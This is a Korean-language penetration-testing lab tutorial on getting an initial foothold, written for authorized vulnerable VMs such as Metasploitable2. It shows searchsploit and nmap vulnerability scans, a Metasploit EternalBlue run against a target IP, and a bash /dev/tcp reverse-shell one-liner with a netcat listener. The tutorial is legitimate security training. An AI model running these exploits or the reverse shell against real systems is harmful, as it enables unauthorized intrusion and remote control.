스캐닝으로 찾은 서비스에서 취약점을 확인하고 익스플로잇해 최초 발판(foothold)을 확보한다. 모든 실습은 Metasploitable2 등 인가된 취약 VM에서 한다.

발판 확보 흐름

flowchart LR
    E[서비스·버전 확인] --> S[알려진 CVE 검색<br/>searchsploit]
    S --> M{공개 익스플로잇?}
    M -->|예| X[익스플로잇 실행]
    M -->|아니오| C[기본 자격증명·설정오류]
    X --> F[셸 획득]
    C --> F
  # 로컬 Exploit-DB 검색
searchsploit vsftpd 2.3.4
searchsploit --cve 2017-0144   # EternalBlue

# 서비스 버전으로 매칭
nmap --script vuln 10.10.10.5
  

Metasploit 기본

  msfconsole -q
search eternalblue
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.5
set LHOST 10.10.10.2
run
  

Metasploit은 강력하지만 원리를 먼저 이해한다. 수동 익스플로잇을 병행해 페이로드·리스너·셸의 동작을 몸에 익힌다.

리버스 셸

  # 공격 머신에서 리스너
nc -lvnp 4444
# 대상에서 실행되는 페이로드 (예)
bash -i >& /dev/tcp/10.10.10.2/4444 0>&1
  

리버스 셸은 대상이 밖으로 연결하게 해 방화벽 인바운드 차단을 우회한다. 안정화(TTY 업그레이드) 후 권한상승으로 넘어간다.


🧪 실습해 보기: 문제 2 — 최초 발판 확보 — 취약 서비스를 익스플로잇해 셸을 얻는다.

Last updated 23 2026, 00:00 UTC. history